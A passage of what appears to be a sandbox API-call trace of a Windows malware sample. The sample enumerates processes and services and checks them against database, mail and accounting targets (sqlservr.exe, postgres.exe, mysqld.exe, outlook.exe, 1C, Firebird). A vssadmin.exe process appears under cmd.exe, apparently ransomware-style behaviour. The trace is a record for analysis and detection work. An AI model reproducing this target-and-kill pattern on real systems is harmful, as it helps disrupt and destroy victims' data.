lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0217.580] lstrlenW (lpString="userinit.exe") returned 12 [0217.580] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0217.580] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0217.580] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0217.580] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0217.580] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0217.581] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0217.581] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0217.581] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.581] lstrlenW (lpString="explorer.exe") returned 12 [0217.582] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.583] lstrlenW (lpString="dwm.exe") returned 7 [0217.583] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.584] lstrlenW (lpString="svchost.exe") returned 11 [0217.585] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0217.586] lstrlenW (lpString="winhost.exe") returned 11 [0217.586] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.589] lstrlenW (lpString="spoolsv.exe") returned 11 [0217.589] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0217.590] lstrlenW (lpString="dllhost.exe") returned 11 [0217.591] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.591] lstrlenW (lpString="svchost.exe") returned 11 [0217.592] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0217.593] lstrlenW (lpString="taskhost.exe") returned 12 [0217.593] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0217.595] lstrlenW (lpString="cmd.exe") returned 7 [0217.595] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0217.596] lstrlenW (lpString="reader_sl.exe") returned 13 [0217.596] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0217.597] lstrlenW (lpString="conhost.exe") returned 11 [0217.597] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0217.598] lstrlenW (lpString="vssadmin.exe") returned 12 [0217.598] Process32NextW (in: hSnapshot=0x308, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0217.966] CloseHandle (hObject=0x308) returned 1 [0217.966] Sleep (dwMilliseconds=0x1f4) [0218.893] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e1d0 [0219.784] EnumServicesStatusExW (in: hSCManager=0x62e1d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0219.785] GetLastError () returned 0xea [0219.785] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa64) returned 0x4337428 [0219.785] EnumServicesStatusExW (in: hSCManager=0x62e1d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4337428, cbBufSize=0xa64, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4337428, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0219.787] CloseServiceHandle (hSCObject=0x62e1d0) returned 1 [0219.788] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0219.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.789] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0219.789] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0219.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0219.789] lstrlenW (lpString="AudioSrv") returned 8 [0219.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0219.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0219.789] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0219.789] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0219.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0219.789] lstrlenW (lpString="BFE") returned 3 [0219.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0219.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0219.790] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0219.790] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0219.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0219.790] lstrlenW (lpString="CscService") returned 10 [0219.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0219.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0219.791] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0219.791] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0219.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0219.791] lstrlenW (lpString="DcomLaunch") returned 10 [0219.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.791] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0219.791] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0219.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0219.791] lstrlenW (lpString="Dhcp") returned 4 [0219.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0219.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0219.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0219.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0219.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0219.792] lstrlenW (lpString="Dnscache") returned 8 [0219.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0219.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0219.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0219.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0219.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0219.792] lstrlenW (lpString="eventlog") returned 8 [0219.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0219.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0219.793] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0219.793] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0219.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0219.793] lstrlenW (lpString="EventSystem") returned 11 [0219.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0219.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0219.793] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0219.793] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0219.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0219.794] lstrlenW (lpString="gpsvc") returned 5 [0219.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0219.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0219.794] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0219.794] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0219.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0219.795] lstrlenW (lpString="lmhosts") returned 7 [0219.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0219.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0219.795] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0219.795] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0219.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0219.795] lstrlenW (lpString="MMCSS") returned 5 [0219.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0219.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0219.795] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0219.795] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0219.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0219.796] lstrlenW (lpString="MpsSvc") returned 6 [0219.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0219.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0219.796] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0219.796] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0219.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0219.797] lstrlenW (lpString="nsi") returned 3 [0219.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0219.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0219.797] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0219.797] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0219.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0219.797] lstrlenW (lpString="PlugPlay") returned 8 [0219.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0219.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0219.797] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0219.797] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0219.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0219.798] lstrlenW (lpString="Power") returned 5 [0219.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0219.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0219.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0219.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0219.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0219.798] lstrlenW (lpString="ProfSvc") returned 7 [0219.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0219.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0219.799] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0219.799] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0219.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0219.799] lstrlenW (lpString="RpcEptMapper") returned 12 [0219.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.799] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0219.800] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0219.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0219.800] lstrlenW (lpString="RpcSs") returned 5 [0219.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0219.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0219.800] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0219.800] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0219.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0219.800] lstrlenW (lpString="SamSs") returned 5 [0219.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0219.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0219.801] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0219.801] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0219.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0219.801] lstrlenW (lpString="Schedule") returned 8 [0219.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0219.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0219.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0219.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0219.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0219.801] lstrlenW (lpString="SENS") returned 4 [0219.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0219.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0219.802] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0219.802] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0219.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0219.802] lstrlenW (lpString="ShellHWDetection") returned 16 [0219.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.803] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0219.803] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0219.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0219.803] lstrlenW (lpString="Spooler") returned 7 [0219.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0219.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0219.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0219.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0219.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0219.804] lstrlenW (lpString="Themes") returned 6 [0219.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0219.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0219.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0219.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0219.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0219.804] lstrlenW (lpString="UxSms") returned 5 [0219.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0219.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0219.804] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0219.804] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0219.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0219.804] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x4337428 | out: hHeap=0x590000) returned 1 [0219.804] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0219.808] Process32FirstW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.810] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0219.811] lstrlenW (lpString="System") returned 6 [0219.811] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0219.811] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0219.811] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0219.811] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0219.811] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0219.811] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0219.811] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0219.811] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0219.813] lstrlenW (lpString="smss.exe") returned 8 [0219.813] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0219.813] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0219.813] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0219.815] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0219.815] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0219.815] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0219.815] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0219.815] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.816] lstrlenW (lpString="csrss.exe") returned 9 [0219.816] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0219.816] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0219.817] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0219.817] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0219.817] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0219.817] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0219.817] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0219.817] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0219.818] lstrlenW (lpString="wininit.exe") returned 11 [0219.818] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0219.818] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0219.818] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0219.818] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0219.818] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0219.818] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0219.818] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0219.819] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0219.820] lstrlenW (lpString="csrss.exe") returned 9 [0219.820] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0219.820] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0219.820] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0219.820] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0219.820] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0219.820] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0219.820] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0219.820] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0219.821] lstrlenW (lpString="winlogon.exe") returned 12 [0219.821] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0219.821] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0219.821] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0219.822] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0219.822] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0219.822] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0219.822] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0219.822] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0219.823] lstrlenW (lpString="services.exe") returned 12 [0219.823] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0219.823] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0219.824] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0219.824] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0219.824] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0219.824] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0219.824] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0219.824] Process32NextW (in: hSnapshot=0x378, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.143] lstrlenW (lpString="lsass.exe") returned 9 [0220.143] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0220.143] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0220.143] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0220.144] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0220.144] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0220.144] lstrcmpiW 